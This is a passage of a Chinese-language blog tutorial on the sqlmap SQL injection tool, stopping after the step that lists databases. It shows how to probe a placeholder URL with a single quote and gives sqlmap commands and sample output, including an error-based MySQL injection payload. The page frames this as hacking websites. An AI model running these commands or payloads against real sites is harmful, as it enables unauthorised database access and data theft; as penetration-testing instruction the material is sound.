当前位置:   article > 正文

sqlmap详细教程_kali sqlmap注入教程

kali sqlmap注入教程


前言

我最近在学习 sqlmap , 我学完之后之后,觉得还是把这些都写清楚,方便 SQL map 的初学者。

一、sqlmap

Sqlmap是最流行和最强大的SQL注入自动化工具之一。给定易受攻击的http请求url,sqlmap可以利用远程数据库并进行大量黑客攻击,例如提取数据库名称,表,列,表中的所有数据等。
在某些情况下,它甚至可以在远程文件系统上读取和写入文件。用python编写,它是目前最强大的黑客工具之一。Sqlmap是SQL注入的代言。

Sqlmap包含在渗透测试Linux发行版中,如kali linux,backtrack,backbox等。在其他发行版上,只需从以下网址下载即可

http://sqlmap.org/

由于它是用python编写的,首先你必须在你的系统上安装python。在 ubuntu 上从 synaptic 安装 python。在Windows上安装activestate python。,

在本教程中,我们将学习如何使用 SQL map 来利用易受攻击的 Web 应用程序,并看看使用这样的工具可以完成所有操作。

要理解本教程,您应该对数据库驱动的 Web 应用程序的工作原理有透彻的了解。例如那些用php+mysql制作的。

二、易受攻击的网址

假设有一个 Web 应用程序或网站包含这样的 URL

http://www.site.com/section.php?id=51
  • 1

并且它很容易出现 SQL 注入,因为该站点的开发人员没有正确转义参数 ID。这可以通过尝试打开 URL 来简单地进行测试

http://www.site.com/section.php?id=51'
  • 1

我们只是在参数中添加了一个单引号。如果此 URL 抛出错误或以意外方式做出反应,那么很明显数据库得到了应用程序未正确转义的意外单引号。因此,在这种情况下,此输入参数“id”容易受到SQL注入的影响。

三、使用 SQL map 进行黑客攻击

现在是时候继续使用 SQL map 来破解这些 URL 了。sqlmap 命令使用 python 解释器从终端运行。

1. 扫描远程系统

第一个命令是扫描远程系统以查看其是否容易受到 SQL 注入的影响,然后收集有关它的信息。

python sqlmap.py -u "http://www.site.com/section.php?id=51"
  • 1

以上是使用 SQL map 工具运行的第一个也是最简单的命令。它检查输入参数以查找它们是否容易受到 SQL 注入的影响。为此,sqlmap 将不同类型的 SQL 注入有效负载发送到输入参数并检查输出。

[*] starting at 12:10:33
[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

因此,sqlmap工具已经发现了操作系统,Web服务器和数据库以及版本信息。即使这么多也令人印象深刻。但是现在是时候继续前进了,看看这个工具还能做什么。

2. 发现数据库

一旦 SQL map 确认远程 URL 容易受到 SQL 注入的攻击并且可被利用,下一步就是找出远程系统上存在的数据库的名称。 “–dbs”选项用于获取数据库列表。

python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
  • 1

输出可能是这样的


                
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/秋刀鱼在做梦/article/detail/808133
推荐阅读
相关标签
  

闽ICP备14008679号